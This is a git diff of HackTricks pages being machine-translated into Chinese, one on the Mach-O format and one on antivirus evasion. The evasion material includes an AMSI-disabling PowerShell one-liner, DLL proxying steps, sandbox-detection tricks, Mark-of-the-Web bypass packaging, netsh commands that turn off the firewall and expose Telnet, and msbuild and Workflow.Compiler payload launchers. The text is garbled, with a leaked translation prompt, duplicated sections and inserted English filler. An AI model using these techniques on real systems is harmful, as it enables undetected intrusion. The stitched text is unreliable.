otool -lv /bin/ls
```
以下是来自一本关于黑客技术的书籍的内容。以下内容来自文件macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md。将相关的英文文本翻译成中文并返回翻译结果保持完全相同的markdown和html语法。不要翻译代码、黑客技术名称、黑客术语、云/SaaS平台名称如Workspace、aws、gcp...、泄漏一词、渗透测试和markdown标签。此外请不要添加任何额外的内容除了翻译和markdown语法。
这个命令加载的常见段:
```markdown
常见的由此命令加载的段:
- **`__PAGEZERO`**它指示内核将**地址零**映射到**不可读取、写入或执行**。结构中的maxprot和minprot变量设置为零表示此页面上**没有读写执行权限**。
- 这种分配对于**缓解空指针解引用漏洞**很重要。
- **`__TEXT`**:包含**可执行的代码**和**只读的数据**。此段的常见部分有:
- `__text`:编译的二进制代码
- `__const`:常量数据
- `__cstring`:字符串常量
- `__stubs`和`__stubs_helper`:在动态库加载过程中使用
- **`__DATA`**:包含**可写的数据**。
- `__data`:全局变量(已初始化)
- `__bss`:静态变量(未初始化)
- `__objc_*`\_\_objc\_classlist、\_\_objc\_protolist等Objective-C运行时使用的信息
- **`__LINKEDIT`**包含链接器dyld的信息如“符号、字符串和重定位表项”。
- **`__OBJC`**包含Objective-C运行时使用的信息。尽管此信息也可能在\_\_DATA段中找到但位于各种\_\_objc\_\*部分中。
* **`__PAGEZERO`**它指示内核将**地址零**映射到一个**不能读取、写入或执行**的位置。结构中的maxprot和minprot变量被设置为零表示该页面**没有读写执行权限**。这种分配对于**减轻空指针解引用漏洞**非常重要。
* **`__TEXT`**包含具有**可读和可执行权限**(不可写)的**可执行代码**。该段的常见部分有:
* `__text`:编译的二进制代码
* `__const`:常量数据
* `__cstring`:字符串常量
* `__stubs`和`__stubs_helper`:在动态库加载过程中使用
* **`__DATA`**包含**可读和可写**的数据(不可执行)。
* `__data`:全局变量(已初始化)
* `__bss`:静态变量(未初始化)
* `__objc_*`\_\_objc\_classlist\_\_objc\_protolist等Objective-C运行时使用的信息
* **`__LINKEDIT`**包含链接器dyld的信息如“符号、字符串和重定位表项”。
* **`__OBJC`**包含Objective-C运行时使用的信息。尽管这些信息也可以在\_\_DATA段中找到但是在各种\_\_objc\_\*部分中也可以找到。
### **`LC_MAIN`**
@ -227,18 +223,17 @@ otool -lv /bin/ls
### **LC\_CODE\_SIGNATURE**
包含有关Macho-O文件的**代码签名的信息**。它只包含一个**指向签名块的偏移量**。这通常位于文件的末尾。\
但是,您可以在[**此博客文章**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/)和[**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)中找到有关此部分的一些信息。
但是,您可以在[**此博客文章**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/)和这个[**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)中找到有关此部分的一些信息。
### **LC\_LOAD\_DYLINKER**
包含**动态链接器可执行文件的路径**,该文件将共享库映射到进程地址空间。**值始终设置为`/usr/lib/dyld`**。重要的是要注意在macOS中dylib映射发生在**用户模式**中,而不是内核模式。
包含**动态链接器可执行文件的路径**,该文件将共享库映射到进程地址空间。**值始终设置为`/usr/lib/dyld`**。重要的是要注意在macOS中dylib映射发生在**用户模式**而不是内核模式
### **`LC_LOAD_DYLIB`**
此加载命令描述了一个**动态库**依赖项,它指示**加载器**dyld**加载和链接该库**。Mach-O二进制文件所需的每个库都有一个LC\_LOAD\_DYLIB加载命令。
此加载命令描述了一个**动态库依赖项**,它指示**加载器**dyld**加载和链接该库**。Mach-O二进制文件所需的每个库都有一个LC\_LOAD\_DYLIB加载命令。
- 此加载命令是**`dylib_command`**类型的结构其中包含描述实际依赖动态库的struct dylib
```
* 此加载命令是一个**`dylib_command`**类型的结构其中包含描述实际依赖动态库的struct dylib
```objectivec
struct dylib_command {
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
@ -278,7 +273,7 @@ Mach-O二进制文件可以包含一个或多个构造函数这些函数将
文件的核心是最后一个区域,即数据区域,它由加载命令区域中的多个段组成。**每个段可以包含多个数据段**。每个数据段都包含一种特定类型的代码或数据。
{% hint style="success" %}
数据基本上是包含由加载命令LC\_SEGMENTS\_64加载的所有信息的部分。
数据基本上是包含由加载命令**LC\_SEGMENTS\_64**加载的所有**信息**的部分。
{% endhint %}
![](<../../../.gitbook/assets/image (507) (3).png>)

View file

@ -2,7 +2,7 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
@ -14,13 +14,13 @@
**本页由**[**@m2rc\_p**](https://twitter.com/m2rc\_p)**编写!**
## **AV逃避方法论**
## **绕过杀毒软件AV方法论**
目前,杀毒软件使用不同的方法来检查文件是否恶意,包括静态检测、动态分析更高级的EDR行为分析。
目前,杀毒软件使用不同的方法来检查文件是否恶意,包括静态检测、动态分析,以及更高级的EDR行为分析。
### **静态检测**
静态检测通过在二进制文件或脚本中标记已知的恶意字符串或字节数组,并从文件本身提取信息(例如文件描述、公司名称、数字签名、图标、校验和等)来实现。这意味着使用已知的公共工具可能更容易被发现,因为它们可能已经被分析并标记为恶意。有几种方法可以绕过这种检测:
静态检测通过在二进制文件或脚本中标记已知的恶意字符串或字节数组,并从文件本身提取信息(例如文件描述、公司名称、数字签名、图标、校验和等)来实现。这意味着使用已知的公共工具可能更容易被发现,因为它们可能已经被分析并标记为恶意。有几种方法可以绕过这种类型的检测:
* **加密**
@ -38,32 +38,32 @@
检查Windows Defender静态检测的一个好方法是使用[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)。它将文件分成多个段然后要求Defender分别扫描每个段这样它可以告诉你在你的二进制文件中有哪些被标记的字符串或字节。
{% endhint %}
我强烈建议你查看这个关于实际AV逃避的[YouTube播放列表](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf)。
我强烈推荐你查看这个关于实际AV绕过的[YouTube播放列表](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf)。
### **动态分析**
动态分析是指杀毒软件在沙箱中运行你的二进制文件并监视恶意活动例如尝试解密和读取浏览器密码、对LSASS进行minidump等。这部分可能会更加棘手但以下是一些可以用来逃避沙箱的方法。
* **执行前休眠** 根据实现方式的不同,这可能是绕过杀毒软件动态分析的好方法。杀毒软件在扫描文件时有很短的时间,以不中断用户的工作流程,因此使用较长的休眠时间可能会干扰对二进制文件的分析。问题是,许多杀毒软件的沙箱可以根据实现方式跳过休眠。
* **检查机器资源** 通常,沙箱的资源很少(例如,<2GB RAM否则它们可能会减慢用户的机器在这里你也可以非常有创意例如通过检查CPU的温度甚至风扇转速不是所有的东西都会在沙箱中实现
* **检查机器资源** 通常,沙箱的资源非常有限(例如,<2GB RAM否则它们可能会减慢用户的机器在这里你也可以非常有创意例如通过检查CPU的温度甚至风扇转速不是所有的东西都会在沙箱中实现
* **特定机器的检查** 如果你想针对一个工作站加入到"contoso.local"域的用户进行攻击,你可以检查计算机的域是否与你指定的域匹配,如果不匹配,你可以让你的程序退出。
事实证明Microsoft Defender的沙箱计算机名是HAL9TH所以你可以在恶意软件中在引爆之前检查计算机名如果名称与HAL9TH匹配这意味着你在Defender的沙箱中所以你可以让你的程序退出。
事实证明Microsoft Defender的沙箱计算机名是HAL9TH所以,在引爆之前,你可以在恶意软件中检查计算机名如果名称与HAL9TH匹配这意味着你在Defender的沙箱中所以你可以让你的程序退出。
<figure><img src="../.gitbook/assets/image (3) (6).png" alt=""><figcaption><p>来源:<a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
[@mgeeky](https://twitter.com/mariuszbit)在对抗沙箱方面提供了一些其他非常好的提示
[@mgeeky](https://twitter.com/mariuszbit)在对抗沙箱方面提供了一些其他非常好的建议。
<figure><img src="../.gitbook/assets/image (2) (1) (1) (2) (1).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
正如我们在本文中之前所说,**公共工具**最终会被**检测到**,所以你应该问自己一个问题:
正如我们在本文中之前所说,**公共工具**最终会被**检测到**,所以你应该问自己一个问题:
例如如果你想转储LSASS**你真的需要使用mimikatz吗**或者你可以使用一个不太知名但也可以转储LSASS的不同项目。
正确的答案可能是后者。以mimikatz为例它可能是被杀毒软件和EDR标记为恶意软件的最多的一个虽然这个项目本身非常酷但要绕过杀毒软件非常困难,所以只需寻找你想要实现的目标的替代方案。
正确的答案可能是后者。以mimikatz为例它可能是被杀毒软件和EDR标记为恶意软件的最多的一个虽然这个项目本身非常酷但要绕过杀毒软件,它也是一个噩梦,所以只需寻找你想要实现的目标的替代方案。
{% hint style="info" %}
在修改你的有效载荷以逃避检测时请确保在Defender中**关闭自动样本提交**,并且请认真对待,请**不要将其上传到VirusTotal**,如果你的目标是长期逃避检测。如果你想检查你的有效载荷是否被特定杀毒软件检测到,请在虚拟机上安装它,尝试关闭自动样本提交,并在那里进行测试,直到你对结果满意为止。
在修改你的有效载荷以进行绕过时请确保在Defender中**关闭自动样本提交**,并且,请认真对待,请**不要将其上传到VIRUSTOTAL**,如果你的目标是长期实现绕过。如果你想检查你的有效载荷是否被特定杀毒软件检测到,请在虚拟机上安装它,尝试关闭自动样本提交,并在那里进行测试,直到你对结果满意为止。
{% endhint %}
## EXEs vs DLLs
@ -94,13 +94,15 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
我强烈建议你自己**探索可劫持/侧载的DLL程序**如果正确使用这种技术非常隐蔽但如果你使用公开已知的DLL侧载程序你可能很容易被发现。
仅仅通过将一个恶意DLL文件放置在程序期望加载的DLL文件名下并不能加载你的载荷因为程序期望在该DLL文件中有一些特定的函数。为了解决这个问题我们将使用另一种技术称为**DLL代理/转发**。
仅仅通过将一个恶意DLL文件放置在程序期望加载的名并不能加载你的载荷因为程序期望在该DLL文件中有一些特定的函数。为了解决这个问题我们将使用另一种技术称为**DLL代理/转发**。
**DLL代理**将程序从代理恶意DLL中发出的调用转发到原始DLL从而保留程序的功能并能够处理你的载荷的执行。
我将使用[@flangvik](https://twitter.com/Flangvik/)的[SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy)项目。
我按照以下步骤进行操作:
以下是我遵循的步骤:
{% code overflow="wrap" %}
```
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
@ -109,7 +111,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
{% endcode %}
最后一个命令将给我们两个文件一个DLL源代码模板和重命名原始DLL。
最后一个命令将给我们两个文件一个DLL源代码模板和原始重命名的DLL。
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
@ -166,7 +168,7 @@ AMSI功能集成在Windows的以下组件中。
<figure><img src="../.gitbook/assets/image (4) (5).png" alt=""><figcaption></figcaption></figure>
注意它是如何在路径之前添加`amsi:`然后是脚本运行的可执行文件的路径本例中是powershell.exe
注意它是如何在路径之前添加`amsi:`然后是脚本运行的可执行文件的路径本例中是powershell.exe
我们没有将任何文件写入磁盘但由于AMSI的存在我们仍然在内存中被捕获。
@ -176,7 +178,7 @@ AMSI功能集成在Windows的以下组件中。
由于AMSI主要用于静态检测因此修改要加载的脚本可以是一种逃避检测的好方法。
然而即使脚本有多个层次AMSI也有解混淆脚本的能力因此混淆可能不是一个好选择。这使得逃避变得不那么直接。尽管如此有时你只需要更改几个变量名就可以了所以这取决于某个东西被标记了多少次。
然而即使脚本有多个层次AMSI也有解混淆脚本的能力因此,根据操作方式,混淆可能不是一个好选择。这使得逃避变得不那么直接。尽管如此,有时你只需要更改几个变量名就可以了,所以这取决于某个东西被标记了多少次。
* **AMSI绕过**
@ -185,10 +187,14 @@ AMSI功能集成在Windows的以下组件中。
**强制错误**
强制AMSI初始化失败amsiInitFailed将导致当前进程不会启动扫描。最初这是由[马特·格雷伯](https://twitter.com/mattifestation)披露的,微软已经开发了一个签名来防止更广泛的使用。
{% code overflow="wrap" %}
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
只需要一行PowerShell代码就可以使当前PowerShell进程无法使用AMSI。当然这行代码本身会被AMSI标记所以需要进行一些修改才能使用这个技术。
{% endcode %}
只需要一行PowerShell代码就可以使当前的PowerShell进程无法使用AMSI。当然这行代码已经被AMSI本身标记了所以需要进行一些修改才能使用这个技术。
下面是我从这个[Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)中获取的修改后的AMSI绕过技术。
```powershell
@ -219,12 +225,12 @@ $Spotfix.SetValue($null,$true)
有几种工具可以用于**混淆C#明文代码**,生成**元编程模板**以编译二进制文件或**混淆已编译的二进制文件**,例如:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**C#混淆器**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator):该项目的目标是提供一个开源的LLVM编译套件分支通过[代码混淆](http://en.wikipedia.org/wiki/Obfuscation_(software))和防篡改来提高软件安全性。
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator)该项目的目标是提供LLVM编译套件的开源分支,通过[代码混淆](http://en.wikipedia.org/wiki/Obfuscation_(software))和防篡改来提高软件安全性。
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator)ADVobfuscator演示了如何使用`C++11/14`语言在编译时生成混淆代码,而不使用任何外部工具并且不修改编译器。
* [**obfy**](https://github.com/fritzone/obfy)通过C++模板元编程框架生成一层混淆操作,使想要破解应用程序的人的生活变得更加困难。
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)****Alcatraz是一个能够混淆各种不同的PE文件包括.exe、.dll、.sys的x64二进制混淆器。
* [**metame**](https://github.com/a0rtega/metame)Metame是一个用于任意可执行文件的简单变形代码引擎。
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator)ROPfuscator是一个基于LLVM支持的语言的精细级代码混淆框架使用ROP返回导向编程将程序在汇编代码级别上混淆,从而破坏我们对正常控制流的自然概念。
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator)ROPfuscator是一个基于LLVM支持的语言的精细级代码混淆框架使用ROP返回导向编程将程序从汇编代码级别转换为ROP链破坏了我们对正常控制流的自然概念。
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt)Nimcrypt是一个用Nim编写的.NET PE加密器。
* [**inceptor**](https://github.com/klezVirus/inceptor)****Inceptor能够将现有的EXE/DLL转换为shellcode然后加载它们。
@ -250,7 +256,7 @@ SmartScreen主要采用基于声誉的方法意味着不常下载的应用程
<figure><img src="../.gitbook/assets/image (12) (2) (2).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)是一个将载荷打包到输出容器以规避Mark-of-the-Web的工具。
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)是一个将载荷打包到输出容器以规避Mark-of-the-Web的工具。
示例用法:
```powershell
@ -274,7 +280,7 @@ Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
这是一个使用[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)将载封装在ISO文件中绕过SmartScreen的演示。
以下是使用[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)将有效负载封装在ISO文件中绕过SmartScreen的演示。
<figure><img src="../.gitbook/assets/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
@ -282,24 +288,24 @@ Adding file: /TotallyLegitApp.exe
将C#二进制文件加载到内存中已经有一段时间了,这仍然是一种非常好的方法,可以在不被杀毒软件发现的情况下运行后渗透工具。
由于载将直接加载到内存中而不接触磁盘我们只需要担心如何为整个进程打补丁以绕过AMSI。
由于有效负载将直接加载到内存中而不接触磁盘我们只需要担心如何为整个进程打补丁以绕过AMSI。
大多数C2框架如sliver、Covenant、metasploit、CobaltStrike、Havoc等已经提供了直接在内存中执行C#程序集的能力,但有不同的方法:
* **Fork\&Run**
* **分叉和运行**
它涉及**生成一个新的牺牲进程**,将你的后渗透恶意代码注入到该新进程中,执行你的恶意代码,完成后杀死新进程。这种方法有其优点和缺点。fork和run方法的好处是执行发生在我们的Beacon植入进程**之外**。这意味着如果我们的后渗透操作出现问题或被发现,我们的植入物**更有可能幸存下来**。缺点是你更容易被**行为检测**发现。
它涉及**生成一个新的牺牲进程**,将你的后渗透恶意代码注入到该新进程中,执行你的恶意代码,完成后杀死新进程。这种方法既有好处,也有缺点。分叉和运行方法的好处是执行发生在我们的Beacon植入进程**之外**。这意味着如果我们的后渗透操作出现问题或被发现,我们的植入物**有更大的机会存活下来**。缺点是你有更大的机会被**行为检测**发现。
<figure><img src="../.gitbook/assets/image (7) (1) (3).png" alt=""><figcaption></figcaption></figure>
* **Inline**
* **内联**
它是将后渗透恶意代码**注入到自己的进程**。这样,你可以避免创建一个新的进程并让它被杀毒软件扫描但缺点是如果你的载荷执行出现问题你的Beacon**更有可能丢失**,因为它可能会崩溃。
它是将后渗透恶意代码**注入到自己的进程**。这样,你可以避免创建一个新的进程并让杀毒软件扫描它但缺点是如果你的有效负载执行出现问题你的Beacon**有更大的机会丢失**,因为它可能会崩溃。
<figure><img src="../.gitbook/assets/image (9) (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
如果你想了解更多关于C#程序集加载的内容,请查看这篇文章[https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/)以及他们的InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
如果你想了解更多关于C#程序集加载的内容,请查看这篇文章[https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/)以及他们的InlineExecute-Assembly BOF[https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)
{% endhint %}
你也可以从PowerShell中加载C#程序集,参考[Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)和[S3cur3th1sSh1t的视频](https://www.youtube.com/watch?v=oe11Q-3Akuk)。
@ -308,13 +314,13 @@ Adding file: /TotallyLegitApp.exe
如[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)所提出的,可以通过让受损机器访问**攻击者控制的SMB共享上安装的解释器环境**来执行恶意代码。
通过允许访问SMB共享上的解释器二进制文件和环境可以在受损机器的内存中**执行这些语言的任意代码**。
通过允许访问SMB共享上的解释器二进制文件和环境可以在受损机器的内存中**执行这些语言的任意代码**。
该存储库指出防御者仍然会扫描脚本但通过利用Go、Java、PHP等语言我们可以**更灵活地绕过静态签名**。在这些语言中使用随机非混淆的反向shell脚本进行测试已经取得了成功。
## 高级逃避
逃避是一个非常复杂的主题,有时你必须考虑一个系统中许多不同的遥测源,所以在成熟的环境中完全不被发现几乎是不可能的。
逃避是一个非常复杂的主题,有时你必须考虑一个系统中许多不同的遥测源,所以在成熟的环境中完全不被发现几乎是不可能的。
每个环境都有其优势和劣势。
@ -330,11 +336,11 @@ Adding file: /TotallyLegitApp.exe
### **Telnet服务器**
直到Windows10所有的Windows都带有一个**Telnet服务器**,你可以通过以下方式安装(作为管理员):
直到Windows10所有的Windows都带有一个**Telnet服务器**,你可以通过以下方式(作为管理员)安装
```
pkgmgr /iu:"TelnetServer" /quiet
```
让它在系统启动时**启动**并立即**运行**
让它在系统启动时**开始运行**,现在**运行**它
```
sc config TlntSVR start= auto obj= localsystem
```
@ -343,21 +349,23 @@ sc config TlntSVR start= auto obj= localsystem
To change the telnet port, follow these steps:
1. Open the command prompt as an administrator.
2. Run the following command to change the telnet port to a different value:
```
netsh int ipv4 set dynamicport tcp start=xxxx num=1
```
Replace `xxxx` with the desired port number.
3. Restart the computer for the changes to take effect.
2. Type `regedit` and press Enter to open the Registry Editor.
3. Navigate to the following path: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Telnet\Parameters`.
4. Right-click on the right pane and select New > DWORD (32-bit) Value.
5. Name the new value `PortNumber`.
6. Double-click on `PortNumber` and select Decimal.
7. Enter the desired port number (e.g., 1234) and click OK.
8. Close the Registry Editor.
To disable the firewall, perform the following steps:
To disable the firewall, follow these steps:
1. Open the Windows Defender Firewall settings.
2. Click on "Turn Windows Defender Firewall on or off" in the left pane.
3. Select the option "Turn off Windows Defender Firewall" for both private and public networks.
4. Click on "OK" to save the changes.
1. Open the Control Panel.
2. Click on "System and Security" and then "Windows Defender Firewall".
3. Click on "Turn Windows Defender Firewall on or off" in the left pane.
4. Select "Turn off Windows Defender Firewall" for both private and public networks.
5. Click OK to save the changes.
Remember to re-enable the firewall and restore the telnet port to its original value after completing the necessary tasks.
Remember to enable the firewall and restore the telnet port to its original configuration after completing your tasks to maintain the security of your system.
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
@ -380,8 +388,8 @@ netsh advfirewall set allprofiles state off
**警告:**为保持隐蔽,您不能执行以下几个操作
* 如果 `winvnc` 已经在运行,请不要启动它,否则会触发一个[弹出窗口](https://i.imgur.com/1SROTTl.png)。使用 `tasklist | findstr winvnc` 检查是否正在运行
* 不要在没有 `UltraVNC.ini` 的同一目录下启动 `winvnc`,否则会导致[配置窗口](https://i.imgur.com/rfMQWcf.png)打开
* 如果 winvnc 已经在运行,请不要启动它,否则会触发一个[弹出窗口](https://i.imgur.com/1SROTTl.png)。使用 `tasklist | findstr winvnc` 检查是否正在运行
* 不要在没有 UltraVNC.ini 文件的同一目录下启动 winvnc否则会导致[配置窗口](https://i.imgur.com/rfMQWcf.png)打开
* 不要运行 `winvnc -h` 来获取帮助,否则会触发一个[弹出窗口](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -395,6 +403,54 @@ cd ..
./GreatSCT.py
```
在GreatSCT内部
## AV Bypass
## AV绕过
One of the biggest challenges faced by hackers is bypassing antivirus (AV) software. AV software is designed to detect and block malicious software, making it difficult for hackers to execute their attacks. However, there are several techniques that can be used to bypass AV software and successfully execute malicious code.
黑客面临的最大挑战之一是绕过防病毒AV软件。AV软件旨在检测和阻止恶意软件使黑客难以执行攻击。然而有几种技术可以用来绕过AV软件并成功执行恶意代码。
### Encoding and Encryption
### 编码和加密
One common technique used to bypass AV software is encoding or encrypting the malicious code. By encoding or encrypting the code, hackers can obfuscate the code and make it more difficult for AV software to detect. This can be done using various encoding or encryption algorithms, such as base64 encoding or AES encryption.
绕过AV软件的一种常见技术是对恶意代码进行编码或加密。通过对代码进行编码或加密黑客可以混淆代码使AV软件更难以检测。可以使用各种编码或加密算法来实现例如base64编码或AES加密。
### Polymorphic Code
### 多态代码
Polymorphic code is another technique used to bypass AV software. Polymorphic code is code that can change its structure or behavior while maintaining its original functionality. By constantly changing the code's structure, hackers can create new variants of the code that are not recognized by AV software. This makes it difficult for AV software to detect and block the malicious code.
多态代码是绕过AV软件的另一种技术。多态代码是可以在保持其原始功能的同时改变其结构或行为的代码。通过不断改变代码的结构黑客可以创建AV软件无法识别的新变体代码。这使得AV软件难以检测和阻止恶意代码。
### Fileless Attacks
### 无文件攻击
Fileless attacks are a type of attack that do not involve writing malicious code to the victim's disk. Instead, these attacks leverage existing legitimate processes or scripts to execute malicious actions directly in memory. Since there is no file for AV software to scan, fileless attacks can bypass traditional AV detection methods.
无文件攻击是一种不涉及将恶意代码写入受害者磁盘的攻击类型。相反这些攻击利用现有的合法进程或脚本直接在内存中执行恶意操作。由于没有文件供AV软件扫描无文件攻击可以绕过传统的AV检测方法。
### Code Injection
### 代码注入
Code injection is a technique where hackers inject malicious code into a legitimate process or application. By injecting the code into a trusted process, hackers can bypass AV software that only scans executable files. This technique can be used to execute malicious code without triggering AV alerts.
代码注入是一种技术黑客将恶意代码注入到合法的进程或应用程序中。通过将代码注入到可信进程中黑客可以绕过只扫描可执行文件的AV软件。这种技术可以用来执行恶意代码而不触发AV警报。
### Conclusion
### 结论
Bypassing AV software is a crucial skill for hackers. By using techniques such as encoding and encryption, polymorphic code, fileless attacks, and code injection, hackers can successfully bypass AV software and execute their attacks. However, it is important to note that these techniques may not always be effective, as AV software is constantly evolving to detect and block new threats.
绕过AV软件是黑客的关键技能。通过使用编码和加密、多态代码、无文件攻击和代码注入等技术黑客可以成功绕过AV软件并执行攻击。然而需要注意的是这些技术可能并不总是有效的因为AV软件不断演变以检测和阻止新的威胁。
```
use 1
list #Listing available payloads
@ -404,7 +460,7 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
现在使用 `msfconsole -r file.rc` 启动监听器,并使用以下命令执行 XML 载荷
现在使用 `msfconsole -r file.rc` 启动监听器,并执行以下 **xml payload**
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
@ -502,10 +558,6 @@ catch (Exception err) { }
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
自动下载和执行:
```csharp
64bit:
@ -569,8 +621,8 @@ https://github.com/praetorian-code/vulcan
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**

File diff suppressed because it is too large Load diff

View file

@ -2,12 +2,12 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云平台 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
